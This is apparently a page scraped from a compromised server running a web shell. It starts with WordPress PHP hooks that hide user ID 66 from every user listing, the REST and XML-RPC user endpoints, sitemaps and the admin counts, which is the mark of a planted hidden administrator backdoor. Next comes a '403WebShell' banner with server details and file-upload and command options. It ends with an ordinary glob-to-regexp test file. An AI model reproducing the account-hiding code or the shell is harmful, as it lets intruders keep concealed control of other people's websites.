add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/jungly/node_modules/glob-to-regexp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/jungly/node_modules/glob-to-regexp/test.js
var globToRegexp = require("./index.js");
var assert = require("assert");

function assertMatch(glob, str, opts) {
  //console.log(glob, globToRegexp(glob, opts));
  assert.ok(globToRegexp(glob, opts).test(str));
}

function assertNotMatch(glob, str, opts) {
  //console.log(glob, globToRegexp(glob, opts));
  assert.equal(false, globToRegexp(glob, opts).test(str));
}

function test(globstar) {
  // Match everything
  assertMatch("*", "foo");
  assertMatch("*", "foo", { flags: 'g' });

  // Match the end
  assertMatch("f*", "foo");
  assertMatch("f*", "foo", { flags: 'g' });

  // Match the start
  assertMatch("*o", "foo");
  assertMatch("*o", "foo", { flags: 'g' });

  // Match the middle
  assertMatch("f*uck", "firetruck");
  assertMatch("f*uck", "firetruck", { flags: 'g' });

  // Don't match without Regexp 'g'
  assertNotMatch("uc", "firetruck");
  // Match anywhere with RegExp 'g'
  assertMatch("uc", "firetruck", { flags: 'g' });

  // Match zero characters
  assertMatch("f*uck", "fuck");
  assertMatch("f*uck", "fuck", { flags: 'g' });

  // More complex matches
  assertMatch("*.min.js", "http://example.com/jquery.min.js", {globstar: false});
  assertMatch("*.min.*", "http://example.com/jquery.min.js", {globstar: false});
  assertMatch("*/js/*.js", "http://example.com/js/jquery.min.js", {globstar: false});

  // More complex matches with RegExp 'g' flag (complex regression)
  assertMatch("*.min.*", "http://example.com/jquery.min.js", { flags: 'g' });
  assertMatch("*.min.js", "http://example.com/jquery.min.js", { flags: 'g' });
  assertMatch("*/js/*.js", "http://example.com/js/jquery.min.js", { flags: 'g' });

  var testStr = "\\/$^+?.()=!|{},[].*"
  assertMatch(testStr, testStr);
  assertMatch(testStr, testStr, { flags: 'g' });

  // Equivalent matches without/with using RegExp 'g'
  assertNotMatch(".min.", "http://example.com/jquery.min.js");
  assertMatch("*.min.*", "http://example.com/jquery.min.js");
  assertMatch(".min.", "http://example.com/jquery.min.js", { flags: 'g' });

  assertNotMatch("http:", "http://example.com/jquery.min.js");
  assertMatch("http:*", "http://example.com/jquery.min.js");
  assertMatch("http:", "http://example.com/jquery.min.js", { flags: 'g' });

  assertNotMatch("min.js", "http://example.com/jquery.min.js");
  assertMatch("*.min.js", "http://example.com/jquery.min.js");
  assertMatch("min.js", "http://example.com/jquery.min.js", { flags: 'g' });

  // Match anywhere (globally) using RegExp 'g'
  assertMatch("min", "http://example.com/jquery.min.js", { flags: 'g' });
  assertMatch("/js/", "http://example.com/js/jquery.min.js", { flags: 'g' });

  assertNotMatch("/js*jq*.js", "http://example.com/js/jquery.min.js");
  assertMatch("/js*jq*.js", "http://example.com/js/jquery.min.js", { flags: 'g' });

  // Extended mode

  // ?: Match one character, no more and no less
  assertMatch("f?o", "foo", { extended: true });
  assertNotMatch("f?o", "fooo", { extended: true });
  assertNotMatch("f?oo", "foo", { extended: true });

  // ?: Match one character with RegExp 'g'
  assertMatch("f?o", "foo", { extended: true,  globstar: globstar, flags: 'g' });
  assertMatch("f?o", "fooo", { extended: true,  globstar: globstar, flags: 'g' });
  assertMatch("f?o?", "fooo", { extended: true,  globstar: globstar, flags: 'g' });
  assertNotMatch("?fo", "fooo", { extended: true,  globstar: globstar, flags: 'g' });
  assertNotMatch("f?oo", "foo", { extended: true,  globstar: globstar, flags: 'g' });
  assertNotMatch("foo?", "foo", { extended: true,  globstar: globstar, flags: 'g' });

  // []: Match a character range
  assertMatch("fo[oz]", "foo", { extended: true });
  assertMatch("fo[oz]", "foz", { extended: true });
  assertNotMatch("fo[oz]", "fog", { extended: true });

  // []: Match a character range and RegExp 'g' (regresion)
  assertMatch("fo[oz]", "foo", { extended: true,  globstar: globstar, flags: 'g' });
  assertMatch("fo[oz]", "foz", { extended: true,  globstar: globstar, flags: 'g' });
  assertNotMatch("fo[oz]", "fog", { extended: true,  globstar: globstar, flags: 'g' });

  // {}: Match a choice of different substrings
  assertMatch("foo{bar,baaz}", "foobaaz", { extended: true });
  assertMatch("foo{bar,baaz}", "foobar", { extended: true });
  assertNotMatch("foo{bar,baaz}", "foobuzz", { extended: true });
  assertMatch("foo{bar,b*z}", "foobuzz", { extended: true });

  // {}: Match a choice of different substrings and RegExp 'g' (regression)
  assertMatch("foo{bar,baaz}", "foobaaz", { extended: true,  globstar: globstar, flags: 'g' });
  assertMatch("foo{bar,baaz}", "foobar", { extended: true,  globstar: globstar, flags: 'g' });
  assertNotMatch("foo{bar,baaz}", "foobuzz", { extended: true,  globstar: globstar, flags: 'g' });
  assertMatch("foo{bar,b*z}", "foobuzz", { extended: true,  globstar: globstar, flags: 'g' });

  // More complex extended matches
  assertMatch("http://?o[oz].b*z.com/{*.js,*.html}",
              "http://foo.baaz.com/jquery.min.js",
              { extended: true });
  assertMatch("http://?o[oz].b*z.com/{*.js,*.html}",
              "http://moz.buzz.com/index.html",
              { extended: true });
  assertNotMatch("http://?o[oz].b*z.com/{*.js,*.html}",
                 "http://moz.buzz.com/index.htm",
                 { extended: true });
  assertNotMatch("http://?o[oz].b*z.com/{*.js,*.html}",
                 "http://moz.bar.com/index.html",
                 { extended: true });
  assertNotMatch("http://?o[oz].b*z.com/{*.js,*.html}",
                 "http://flozz.buzz.com/index.html",
                 { extended: true });

  // More complex extended matches and RegExp 'g' (regresion)
  assertMatch("http://?o[oz].b*z.com/{*.js,*.html}",
              "http://foo.baaz.com/jquery.min.js",
              { extended: true,  globstar: globstar, flags: 'g' });
  assertMatch("http://?o[oz].b*z.com/{*.js,*.html}",
              "http://moz.buzz.com/index.html",
              { extended: true,  globstar: globstar, flags: 'g' });
  assertNotMatch("http://?o[oz].b*z.com/{*.js,*.html}",
                 "http://moz.buzz.com/index.htm",
                 { extended: true,  globstar: globstar, flags: 'g' });
  assertNotMatch("http://?o[oz].b*z.com/{*.js,*.html}",
                 "http://moz.bar.com/index.html",
                 { extended: true,  globstar: globstar, flags: 'g' });
  assertNotMatch("http://?o[oz].b*z.com/{*.js,*.html}",
                 "http://flozz.buzz.com/index.html",
                 { extended: true,  globstar: globstar, flags: 'g' });

  // globstar
  assertMatch("http://foo.com/**/{*.js,*.html}",
              "http://foo.com/bar/jquery.min.js",
              { extended: true,  globstar: globstar, flags: 'g' });
  assertMatch("http://foo.com/**/{*.js,*.html}",
              "http://foo.com/bar/baz/jquery.min.js",
              { extended: true,  globstar: globstar, flags: 'g' });
  assertMatch("http://foo.com/**",
              "http://foo.com/bar/baz/jquery.min.js",
              { extended: true,  globstar: globstar, flags: 'g' });

  // Remaining special chars should still match themselves
  var testExtStr = "\\/$^+.()=!|,.*"
  assertMatch(testExtStr, testExtStr, { extended: true });
  assertMatch(testExtStr, testExtStr, { extended: true,  globstar: globstar, flags: 'g' });
}

// regression
// globstar false
test(false)
// globstar true
test(true);

// globstar specific tests
assertMatch("/foo/*", "/foo/bar.txt", {globstar: true });
assertMatch("/foo/**", "/foo/baz.txt", {globstar: true });
assertMatch("/foo/**", "/foo/bar/baz.txt", {globstar: true });
assertMatch("/foo/*/*.txt", "/foo/bar/baz.txt", {globstar: true });
assertMatch("/foo/**/*.txt", "/foo/bar/baz.txt", {globstar: true });
assertMatch("/foo/**/*.txt", "/foo/bar/baz/qux.txt", {globstar: true });
assertMatch("/foo/**/bar.txt", "/foo/bar.txt", {globstar: true });
assertMatch("/foo/**/**/bar.txt", "/foo/bar.txt", {globstar: true });
assertMatch("/foo/**/*/baz.txt", "/foo/bar/baz.txt", {globstar: true });
assertMatch("/foo/**/*.txt", "/foo/bar.txt", {globstar: true });
assertMatch("/foo/**/**/*.txt", "/foo/bar.txt", {globstar: true });
assertMatch("/foo/**/*/*.txt", "/foo/bar/baz.txt", {globstar: true });
assertMatch("**/*.txt", "/foo/bar/baz/qux.txt", {globstar: true });
assertMatch("**/foo.txt", "foo.txt", {globstar: true });
assertMatch("**/*.txt", "foo.txt", {globstar: true });

assertNotMatch("/foo/*", "/foo/bar/baz.txt", {globstar: true });
assertNotMatch("/foo/*.txt", "/foo/bar/baz.txt", {globstar: true });
assertNotMatch("/foo/*/*.txt", "/foo/bar/baz/qux.txt", {globstar: true });
assertNotMatch("/foo/*/bar.txt", "/foo/bar.txt", {globstar: true });
assertNotMatch("/foo/*/*/baz.txt", "/foo/bar/baz.txt", {globstar: true });
assertNotMatch("/foo/**.txt", "/foo/bar/baz/qux.txt", {globstar: true });
assertNotMatch("/foo/bar**/*.txt", "/foo/bar/baz/qux.txt", {globstar: true });
assertNotMatch("/foo/bar**", "/foo/bar/baz.txt", {globstar: true });
assertNotMatch("**/.txt", "/foo/bar/baz/qux.txt", {globstar: true });
assertNotMatch("*/*.txt", "/foo/bar/baz/qux.txt", {globstar: true });
assertNotMatch("*/*.txt", "foo.txt", {globstar: true });

assertNotMatch("http://foo.com/*",
               "http://foo.com/bar/baz/jquery.min.js",
               { extended: true,  globstar: true });
assertNotMatch("http://foo.com/*",
               "http://foo.com/bar/baz/jquery.min.js",
               { globstar: true });

assertMatch("http://foo.com/*",
            "http://foo.com/bar/baz/jquery.min.js",
            { globstar: false });
assertMatch("http://foo.com/**",
            "http://foo.com/bar/baz/jquery.min.js",
            { globstar: true });

assertMatch("http://foo.com/*/*/jquery.min.js",
            "http://foo.com/bar/baz/jquery.min.js",
            { globstar: true });
assertMatch("http://foo.com/**/jquery.min.js",
            "http://foo.com/bar/baz/jquery.min.js",
            { globstar: true });
assertMatch("http://foo.com/*/*/jquery.min.js",
            "http://foo.com/bar/baz/jquery.min.js",
            { globstar: false });
assertMatch("http://foo.com/*/jquery.min.js",
            "http://foo.com/bar/baz/jquery.min.js",
            { globstar: false });
assertNotMatch("http://foo.com/*/jquery.min.js",
               "http://foo.com/bar/baz/jquery.min.js",
               { globstar: true });

console.log("Ok!");

Youez - 2016 - github.com/yon3zu
LinuXploit